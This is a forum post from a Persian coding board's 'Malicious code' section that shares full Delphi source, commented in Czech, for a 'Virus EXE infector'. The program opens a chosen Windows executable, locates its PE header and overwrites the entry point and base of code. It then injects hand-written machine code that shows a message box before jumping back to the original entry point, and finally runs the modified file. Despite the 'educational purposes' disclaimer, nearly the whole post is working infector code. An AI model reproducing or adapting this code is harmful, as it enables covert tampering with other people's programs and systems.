Parsi Coders
[DELPHI]Virus EXE infector - Example, by DjH - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: [DELPHI]Virus EXE infector - Example, by DjH (/showthread.php?tid=909)



[DELPHI]Virus EXE infector - Example, by DjH - Amin_Mansouri - 09-22-2011

کد:
program Virus;

{$APPTYPE CONSOLE}

uses
  Windows, Messages, SysUtils;

var
  mWnd:                 HWnd;
  FileName:             string;

//procedura:          Infect
//vstupni hodnoty:    nazev souboru, urceni k infikovani
//popis:              infikuje zadany soubor
procedure Infect(FlName:string);
const
  NoOfLibs = 3;
var
  iFileHandle:        Integer;                        //Handle souboru
  iFileLength:        Integer;                        //delka nacteneho souboru
  Buffer:             PChar;                          //buffer
  AddressOfOep:       Integer;                        //adresa, kde je hodnota OEP (entry point)
  BuffLen, i, OEP:    Integer;                        //delka bufferu; pomocny integer; Entry Point
  FuncPtr:            array[0..NoOfLibs] of Pointer;  //pointer, kde se nachazi hledana fce
  LibHandle:          array[0..NoOfLibs] of Integer;  //handle nahranych knihoven; OEP
begin
//inicializace hodnot
  WriteLn('Initializing variables...');
  AddressOfOep  := 0;
  Buffer        := '';
  WriteLn('Opening file...');
  iFileHandle   := FileOpen(FlName, fmOpenReadWrite);   //otevreni souboru
  if(iFileHandle <> -1) then begin                      //pokud soubor nejde otevrit
    WriteLn('File successfully opened as handle "',iFileHandle,'"');
    iFileLength   := FileSeek(iFileHandle, 0, 2);       //delka souboru
    WriteLn('Checking the magic bytes 10Bh');
    while(buffer <> #11#1)do begin                      //dokud nenarazime na tyto bajty (znaci EXE pro platformu 386), tak nacitej bajty
      FileSeek(iFileHandle, AddressOfOep,0);            //posuneme ukazatel v souboru
      Buffer := PChar(AllocMem(iFileLength + 1));       //alokujeme pamet (vyplnime #00)
      FileRead(iFileHandle, Buffer^, 2);                //do bufferu dalsi dva bajty
      inc(AddressOfOep);                                //AddressOfEop += 1;, posuneme ukazatel

      if(AddressOfOep > iFileLength)then begin          //pokud jsme projeli cely soubor a nenarazili na bajty #11#1, ukoncime proceduru Infect
        WriteLn('Magic bytes not found, exiting...');
        ReadLn;
        Exit;                                           //ukoncime proceduru
      end;

    end;
    WriteLn('Checking address of Entry Point...');
    AddressOfOep  := AddressOfOep + 15;                 //o 16 bajtu dal je hodnota, kde je Entry point
    WriteLn('Checked... Address of OEP = "', IntToHex(AddressOfOep,8), 'h"');
    WriteLn('Seeking Addres of OEP...');
    FileSeek(iFileHandle, AddressOfOep, 0);             //najedeme tam ukazatelem
    Buffer        := PChar(AllocMem(iFileLength + 1));  //uvolnime misto v Bufferu
    WriteLn('Loading value into buffer...');
    FileRead(iFileHandle, Buffer^, 4);                  //a nacteme do nej hodnotu OEP

  //OEP
  //Tady toto se mi nepodarilo zprehlednit, omluvte tento radek prosim =)
  //Aspon trochu popisu co se zde deje:
  //radek z bufferu odzadu (kvuli little endian) sesklada string, z ordinalnich hodnot znaku,
  //ktere se navic predelaji do hexadecimalni soustavy.
  //znak na zacatku '$' znamena, ze StrToInt bude pracovat s cislem v 16tkove soustave
    OEP            := strtoint('$'+inttohex(ord(buffer[3]),2)+inttohex(ord(buffer[2]),2)+inttohex(ord(buffer[1]),2)+inttohex(ord(buffer[0]),2));
    WriteLn('OEP found! OEP = "', IntToHex(OEP,8), 'h"');
    WriteLn('Freeing FuncPtr[] variable (array)');
  //uvolnime pamet
  for i:=0 to NoOfLibs do begin
    FuncPtr[i]    := nil;
  end;
    WriteLn('Checking address of API "MessageBoxA"...');
  //zjistime adresu volani MessageBoxA
    LibHandle[0]  := LoadLibrary('user32.dll');
    FuncPtr[0]    := GetProcAddress(LibHandle[0], 'MessageBoxA');

    WriteLn('Checking address of API "Sleep"...');
  //zjistime adresu volani Sleep
    LibHandle[2]  := LoadLibrary('kernel32.dll');
    FuncPtr[2]    := GetProcAddress(LibHandle[2], 'Sleep');
  
  (*  mozna vas zajima, proc pisu FuncPtr[0] a pak [2] a ne [1]. Je to proto,
      ze ukoncovaci znak je #00, a proto musime nechat jedno misto v arrayi
      volne, jinak by nam vzniklo neco, co bychom nechteli... Kdybyste chteli
      zjistit adres vice, musite vzdy vynechat mezi polemi jedno pole volne
      (vcetne konecneho pole, tedy pokud mame pole dve, bude to vypadat asi takto:
      [0]-udaj
      [1]-00h
      [2]-udaj
      [3]-00h
      Taky nezapomente zmenit velikost arraye ve "var", array[0..X] of ... *)
      WriteLn('Rewriting OEP to 400370h...');
  //prepiseme OEP na 400370h
      FileSeek(iFileHandle, AddressOfOep, 0);             //najedeme tam ukazatelem
      Buffer        := PChar(AllocMem(iFileLength + 1));  //uvolnime misto v Bufferu
      Buffer        := #$70#$03;
      FileWrite(iFileHandle, Buffer^, 4);                 //a nacteme do nej hodnotu OEP
      WriteLn('Rewrited...');

      WriteLn('Rewriting Base of Code to 370h...');
  //prepiseme Base of Code na F70h, aby jsme mohli provadet instrukce na na adrese mensi nez 1000h (tedy F70h)
      FileSeek(iFileHandle, AddressOfOep+4, 0);           //najedeme ukazatelem na Base of Code (4 bajty od [AddressOfOep])
      Buffer        := PChar(AllocMem(iFileLength + 1));  //uvolnime misto v Bufferu
      Buffer        := #$70#$03;
      FileWrite(iFileHandle, Buffer^, 4);                 //a nacteme do nej hodnotu OEP

      WriteLn('Rewrited...');
      WriteLn('Computing last OEP...');
      OEP           := OEP + $400000;                     //vypocitame puvodni Entry Point
      WriteLn('Last OEP was "', IntToHex(OEP,8), 'h"');
      WriteLn('Seeking at 370h...');

    FileSeek(iFileHandle,$370,0);

WriteLn('Getting values to buffer...');

    buffer := pchar(
  (* 400370 *)   #$60                     //  pusha
  (* 400371 *)  +#$6A#$00                 //  push 0
  (* 400373 *)  +#$68                     //  push...
  (* 400374 *)  +#$99#$03#$40#$00         //    ";p"
  (* 400378 *)  +#$68                     //  push
  (* 400379 *)  +#$9C#$03#$40#$00         //    "[This file is shit]"
  (* 40037D *)  +#$6A#$00                 //  push 0
  (* 40037F *)  +#$B8                     // mov eax, MessageBoxA
  (* 400380 *)  +pchar(@FuncPtr[0])       // (4 bajty)
  (* 400384 *)  +#$FF#$D0                 // call eax
  (* 400386 *)  +#$68#$E8#$03#$00#$00     //  push 3e8 (1000 ms)
  (* 40038B *)  +#$B8                     // mov eax, Sleep
  (* 40038C *)  +pchar(@FuncPtr[2])       // (4 bajty)
  (* 400390 *)  +#$FF#$D0                 // call eax
  (* 400392 *)  +#$61                     // POPA
  (* 400393 *)  +#$68                     // push minuly_OEP
  (* 400397 *)  +pchar(@oep)[0]+pchar(@oep)[1]+pchar(@oep)[2]+pchar(@oep)[3]    //4 bajty, tuto radku taky prosim omluvte, jedna se opet o praci s promennou OEP. Pokud vite jak setrneji zjistit OEP, a na tento radek ho pridat, reknete mi =)
  (* 400398 *)  +#$C3                     //ret
  (*/[DATA]\*)////////////////////////////////
  (* 400399 *)  +';p'+#$00                  //ASCII ";p"   (3 bajty)
  (* 40039C *)  +'[This file is shit]'+#$00 //ASCII "[This file is shit]" (21 bajtu)
    );
    WriteLn('Setting BuffLen...');
    BuffLen       := 65; //velikost bufferu ((39Ch+21d)-370h) = 65d

    WriteLn('WRITING THE VIRUS...');
    FileWrite(iFileHandle, Buffer^, BuffLen);
    WriteLn('Closing the file (handle = "', iFileHandle, '")');
    FileClose(iFileHandle);
    WriteLn('File closed...');
  end else begin
    WriteLn('Unable to open the file!');
    ReadLn;
  end;
end;
//##########################################################################\\
begin
  WriteLn('Virus EXE infector - Example, by DjH');
  WriteLn('WARNING: This program is only for educational purposes!!!');
  WriteLn('---------------------------------------------------------');
  WriteLn('Progress:');
  WriteLn('Starting...');
  WriteLn('Please write path to exe file, which will be infected...');
  ReadLn(FileName);                                                   //cekej na uzivatelsky vstup
  WriteLn('Selected file: "',ExtractFileName(FileName),'"');
  WriteLn('Creating backup as ', FileName+' - Backup.exe');
  CopyFile(pchar(FileName),pchar(FileName+' - Backup.exe'),true);     //vytvor zalohu souboru
  WriteLn('Infecting...');
  Infect(FileName);                                                   //zavolej proceduru Infect, jako parametr je udan uzivatelsky vstup
  WriteLn('---------------------------------------------------------');
  WriteLn('Press [ENTER] to run an infected file...');
  ReadLn;
  WinExec(pchar(FileName),SW_SHOW);                                   //pockej na [enter]
  WriteLn('Press [ENTER] to exit...');                                //spust soubor
  ReadLn;                                                             //pockej na klavesu
  ExitProcess(0);                                                     //ukonci vir...
end.